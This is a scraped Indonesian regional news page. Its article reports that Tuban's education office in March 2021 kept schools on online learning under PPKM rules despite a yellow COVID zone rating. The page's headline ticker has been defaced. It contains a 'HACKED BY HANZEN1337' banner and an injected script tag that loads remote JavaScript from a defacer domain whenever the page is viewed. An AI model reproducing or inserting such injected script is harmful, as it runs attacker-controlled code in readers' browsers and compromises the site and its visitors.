News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Zona Kuning, Dinas Pendidikan Tuban Tegaskan Pembelajaran Tatap Muka Belum Bisa Dilaksanakan

Zona Kuning, Dinas Pendidikan Tuban Tegaskan Pembelajaran Tatap Muka Belum Bisa Dilaksanakan

Tuban - Berdasarkan peta sebaran COVID-19 Provinsi Jawa Timur, terhitung mulai Kamis (25/03/2021), Kabupaten Tuban masuk kategori zona kuning. Namun demikian, Pemerintah Kabupaten (Pemkab) Tuban, melalui Dinas Pendidikan menegaskan bahwa sekolah belum bisa melaksanakan pembelajaran tatap muka kecuali yang sedang ujian.
 
 
Hal tersebut disampaikan Kepala Dinas Pendidikan Kabupaten Tuban, Nur Khamid, Jumat (26/03/2021). Menurutnya, sesuai dengan surat edaran Tuban Nomor: 367/1687/414.012/2021, tentang perpanjangan ketiga Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Skala Mikro, bahwa kegiatan belajar mengajar dilaksanakan secara dalam jaringan (daring) atau online.
 
"Pada poin V nomor 2 surat edaran itu sudah jelas, kegiatan belajar mengajar dilaksanakan secara daring atau online. Cuman yang pasti boleh masuk itu hanya ujian saja," tutur Nur Khamid, di ruang kerjanya di jalan Dr Wahidin Sudiro Husodo Tuban. Jumat (26/03/2021).
 
Saat ditanyai kapan sekolah akan masuk seperti biasa, pihaknya belum dapat memberi kapastian karena yang bisa mengambil keputusan tersebut adalah Bupati Tuban.
 
"Ya itu kan keputusan Bupati Tuban, kalau saya kan gak bisa mengambil keputusan itu," kata Nur Khamid.
 
Nur Khamid menambahkan, bahwa saat ini masih tetap mengacu kepada surat edaran dari Bupati. "Surat tersebut sebagai acuan. Kalau ada yang memberitakan sekolah masuk itu kita lihat dasarnya mana? Harus ada surat edaran sebagai acuannya," kata Nur Khamid.
 
 
Untuk diketahui, dalam surat edaran Bupati Tuban terkait PPKM Skala Mikro yang diperpanjang, kegiatan belajar mengajar mulai dari jenjang kelompok bermain, TK/RA, SD/MI, SMP/MTs, SMA/SMK/MA, dilaksanakan secara dalam jaringan (daring). Kegiatan ujian sekolah dapat dilaksanakan secara luring (offline) atau tatap muka dengan penerapan protokol kesehatan (prokes) secara ketat, sedangkan untuk perguruan tinggi atau akademi dibuka secara bertahap melalui proyek percontohan dengan penerapan prokes secara ketat. (ayu/imm)
 
Berita Terkait
1783875973.1283 at start, 1783875974.6663 at end, 1.5379569530487 sec elapsed